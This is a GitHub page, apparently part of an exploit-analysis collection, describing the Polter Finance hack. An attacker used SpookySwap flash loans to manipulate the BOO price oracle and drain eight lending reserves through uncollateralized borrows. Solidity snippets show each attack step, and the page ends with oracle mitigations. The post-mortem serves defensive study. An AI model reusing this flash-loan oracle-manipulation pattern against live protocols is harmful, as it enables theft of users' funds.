Skip to content

Latest commit

 

History

History

Polter_Finance

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Exploited Polter Finance

Step-by-step Overview

The Polter Finance protocol's critical vulnerability stemmed from trusting SpookySwap V2/V3 pool prices for their BOO token oracle. This meant the protocol's lending decisions were based on potentially manipulatable price feeds from DEX pools, which the attacker exploited through flash loans. The vulnerability manifested in ILendingPool.borrow() function where borrowing power was calculated using these manipulated prices.

Here's how the attacker leveraged this vulnerability:

  1. Setup (Get Initial Flash Loan)

    • Flash loan BOO tokens from SpookySwap V3 pool
    • Prepare for subsequent operations with obtained liquidity
  2. Additional Liquidity (V2 Flash Swap)

    • Perform V2 flash swap to get additional BOO tokens
    • This provides more tokens for the attack setup
  3. Collateral Setup

    • Deposit minimal collateral (1e18 BOO) into Polter Finance
  4. Exploit Execution

    • Systematically drain multiple token reserves through uncollateralized borrowing
    • Target high-value tokens in sequence
    • Transfer stolen assets to attacker address
  5. Flash Loan Repayment

    • Swap 5000 WFTM back to BOO tokens
    • Repay flash loan obligations
    • Keep remaining stolen assets as profit

Detailed Description

  1. Gets BOO tokens through SpookySwap V3 flash loan to initiate the attack:
// Initial flash loan from V3 pool
pairWftmBooV3.flash(address(this), 0, BOO.balanceOf(address(pairWftmBooV3)), "");

// Flash callback handling
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
    uint256 repay = BOO.balanceOf(address(this)) + fee1;
    // Further attack steps...
}
  1. Leverages V2 flash swap to obtain more BOO tokens:
pairWftmBooV2.swap(0, BOO.balanceOf(address(pairWftmBooV2)) - 1e3, address(this), "0");

// V2 callback implementation
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
    BOO.approve(address(Lending), 1e18);
    // Initialize exploit sequence...
}
  1. Sets up minimal collateral and exploits borrowing mechanism:
unction exploitToken(IERC20 token) public {
    // Get reserve data for target token
    ILendingPool.ReserveData memory reserveData = Lending.getReserveData(address(token));
    // Execute uncollateralized borrow
    Lending.borrow(address(token), token.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));
    // Transfer stolen tokens
    token.transfer(address(this), token.balanceOf(address(this)));
}
  1. Systematically drains multiple token reserves:
// Execute exploit across multiple tokens
exploitToken(WFTM);
exploitToken(MIM);
exploitToken(sFTMX);
exploitToken(axlUSDC);
exploitToken(WBTC);
exploitToken(WETH);
exploitToken(USDC);
exploitToken(WSOL);
  1. Repays flash loans and finalizes profit
function swapWftmToBoo(uint256 _amountOut) internal {
    address[] memory path = new address[](2);
    path[0] = address(WFTM);
    path[1] = address(BOO);
    Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
        _amountOut, 0, path, address(this), block.timestamp + 3600
    );
}

Possible mitigations

  1. Implement decentralized oracles with multi-source price feeds to prevent price manipulation.
  2. Use TWAP oracles to protect against flash loan attacks and price volatility.

Sources and references